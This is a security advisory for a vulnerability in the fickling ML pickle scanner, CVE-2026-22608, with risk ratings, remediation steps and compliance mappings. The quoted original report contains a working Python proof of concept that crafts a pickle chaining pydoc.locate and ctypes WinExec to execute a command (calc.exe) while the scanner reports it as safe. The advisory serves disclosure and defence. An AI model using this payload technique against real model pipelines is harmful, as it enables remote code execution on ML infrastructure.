CVE-2026-22608: fickling: Allowlist Bypass evades input filtering

GHSA-5hvc-6wx8-mvv4 HIGH PoC AVAILABLE CISA: ATTEND
Published January 9, 2026
CISO Take

fickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.

Risk Assessment

HIGH risk for organizations using fickling to gate ML model loading. The bypass is trivially reproducible (public PoC exists), achieves unauthenticated RCE on the host deserializing the model, and specifically defeats the security control meant to prevent this class of attack. Risk amplifies in model-sharing workflows — internal registries, HuggingFace integrations, or automated MLOps pipelines — where a fickling LIKELY_SAFE verdict is the primary or sole defense against malicious pickles. EPSS is low (0.00043) indicating no observed mass exploitation yet, but the public PoC and high-value targets (GPU infrastructure, training data) make weaponization probable.

Affected Systems

Package Ecosystem Vulnerable Range Patched
fickling pip <= 0.1.6 0.1.7
620 OpenSSF 7.9 57 dependents Pushed 16d ago 100% patched ~5d to patch Full package profile →

Do you use fickling? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
0.0%
chance of exploitation in 30 days
Higher than 13% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

1 step
  1. 1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.

CISA SSVC Assessment

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art.9 - Risk management system
ISO 42001
A.6.1.6 - AI system security
NIST AI RMF
GOVERN-6.2 - Policies and procedures are in place for third-party AI risk MANAGE-2.4 - Residual risks are documented and accepted
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-22608?

fickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.

Is CVE-2026-22608 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-22608, increasing the risk of exploitation.

How to fix CVE-2026-22608?

1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.

What systems are affected by CVE-2026-22608?

This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, MLOps CI/CD model registries, data science workstations, model sharing workflows.

What is the CVSS score for CVE-2026-22608?

No CVSS score has been assigned yet.

Technical Details

NVD Description

# Fickling's assessment `pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1). # Original report ### Summary Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE ### Details Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1). To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin ### PoC ```python import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec> payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'") ```` What fickling sees ```python from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3 ``` <img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />

Exploitation Scenario

Adversary publishes a malicious .pkl file to a public model hub or compromises an internal model registry. The file passes fickling <= 0.1.6 scan (pydoc and ctypes not blocked), receiving LIKELY_SAFE status. An automated MLOps pipeline or data scientist downloads and loads the model for fine-tuning or inference evaluation — triggering the embedded pickle opcodes. The payload resolves ctypes.windll.kernel32.WinExec (or Linux CDLL equivalent) via pydoc.locate() and executes attacker-controlled commands on the ML training node or inference server, yielding persistent access to GPU infrastructure, proprietary model weights, and training datasets.

Timeline

Published
January 9, 2026
Last Modified
January 11, 2026
First Seen
March 24, 2026

Related Vulnerabilities